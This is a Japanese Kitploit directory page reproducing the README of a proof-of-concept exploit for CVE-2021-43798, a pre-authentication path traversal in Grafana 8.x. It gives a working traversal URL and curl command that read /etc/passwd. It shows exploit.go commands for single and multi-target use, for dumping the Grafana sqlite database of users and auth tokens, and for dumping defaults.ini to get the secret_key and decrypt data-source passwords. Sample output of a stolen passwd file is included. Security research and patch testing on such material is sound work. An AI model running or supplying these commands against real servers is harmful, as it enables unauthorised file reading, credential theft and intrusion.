Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-43798 — CVE-2021-43798 - Grafana 8.x パス・トラバーサル (事前認証なし) | Kitploit
ツール/GitHubGitHub/taythebot/cve-2021-43798
脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテスト学習と教育
GitHubtaythebot/cve-2021-43798

CVE-2021-43798

CVE-2021-43798 - Grafana 8.x パス・トラバーサル (事前認証なし)

リポジトリを見る
41814年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-43798

Grafana 8.x パストラバーサル(認証前)

全クレジットはj0vと彼のツイート https://twitter.com/j0v0x0/status/1466845212626542607 に帰属します

免責事項

これは教育目的のみです。私はあなたの行動に対して責任を負いません。自己責任で使用してください。

誠意をもって、この脆弱性が公開されるかパッチが利用可能になるまで、このPoCの公開を控えています。

目次

  • 解説 - 脆弱性の解説
  • 攻撃ベクトル - 実行可能な攻撃リスト
  • エクスプロイトスクリプト - エクスプロイトスクリプトの使用法

解説

私は、Grafanaのパストラバーサルバグを発見したと主張する j0vのツイート に気づきました。好奇心から、Grafanaのソースコードを調べ始めました。ツイートでは、認証前のバグであると述べられていました。Grafanaには公開APIエンドポイントがいくつかあり、そのうちユーザーからファイルパスを受け取るものは1つだけです。

Grafanaには /public/plugins/:pluginId という公開APIエンドポイントがあり、プラグインのアセットを表示できます。これは、有効な :pluginId を指定し、img/logo.png などのファイルパスを指定することで動作します。しかし、Grafanaはユーザーが指定したファイルパスのサニタイズに失敗し、パストラバーサルを引き起こします。

アクセスされるディレクトリは <grafana>/public/app/plugins/panel/<pluginId> にあります。標準のGrafanaインストールでは、Grafanaデータディレクトリは です。そのため、8階層上に戻ることで、ファイルシステムのルートディレクトリに到達できます。

/usr/share/grafana

HTTPリクエスト:

root@kitploit:~
GET -  http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

問題のあるコード: https://github.com/grafana/grafana/blob/c80e7764d84d531fa56dca14d5b96cf0e7099c47/pkg/api/plugins.go#L284

注: これはブラウザでは動作しません(ブラウザはパス内の ../ を自動的に解釈してしまうため)

curlの --path-as-is 引数を使用してテストできます:

root@kitploit:~
curl --path-as-is http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

攻撃ベクトル

この脆弱性を利用して実行可能な攻撃をいくつか示します。

Sqliteデータベースのダンプ

Grafanaはデフォルトでsqlite3データベースを使用します。これは /var/lib/grafana/grafana.db に保存されています。 exploit.go スクリプトを使用してこのデータベースをダンプできます。

例:

root@kitploit:~
go run exploit.go -target http://localhost:3000 -dump-database -output grafana.db

その後、このデータベースを読み取ってユーザー、認証トークン、データソースを取得できます。

defaults.ini設定ファイルのダンプ

Grafanaは設定を <grafana>/conf/defaults.ini ファイルに保存します。ここには secret_key、host、user、password(mysqlを使用している場合、sqlite3の代わりに)など、興味深い値がいくつかあります。

例:

root@kitploit:~
go run exploit.go -target http://localhost:3000 -dump-config -output defaults.ini

参考: https://grafana.com/docs/grafana/latest/administration/configuration/

データソースパスワードの復号化

Grafanaはすべてのデータソースパスワードを、defaults.ini 設定ファイル内の secret_key を使用してAES-256-CBCで暗号化します。上記のようにこの設定ファイルをダンプし、データベースから値を復号化できます。

参考: https://grafana.com/docs/grafana/latest/administration/configuration/#secret_key

セッション乗っ取り

Grafanaはセッショントークンを auth_tokens テーブルに保存します。私はまだセッションを乗っ取ることに成功していませんが、ソースコードを読めば理解できるかもしれません。

エクスプロイトスクリプト

例

root@kitploit:~
root@localhost:/# go run exploit.go -target http://localhost:3000 -file /etc/passwd
CVE-2021-43798  - Grafana 8.x Path Traversal (Pre-Auth)
Made by Tay (https://github.com/taythebot)

[INFO] Exploiting target http://localhost:3000
[INFO] Successfully exploited target http://localhost:3000
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin

単一ターゲット

root@kitploit:~
go run exploit.go -target <target> -file <path>

ファイルに出力

root@kitploit:~
go run exploit.go -target <target> -file <path> -output <file>

注: 複数ターゲットでは機能しません

複数ターゲット

root@kitploit:~
go run exploit.go -list <list> -file <path>

defaults.iniのダンプ

root@kitploit:~
go run exploit.go -target <target> -dump-config

sqlite3データベースのダンプ

root@kitploit:~
go run exploit.go -target <target> -dump-database

ビルド

root@kitploit:~
make build
ツールをダウンロード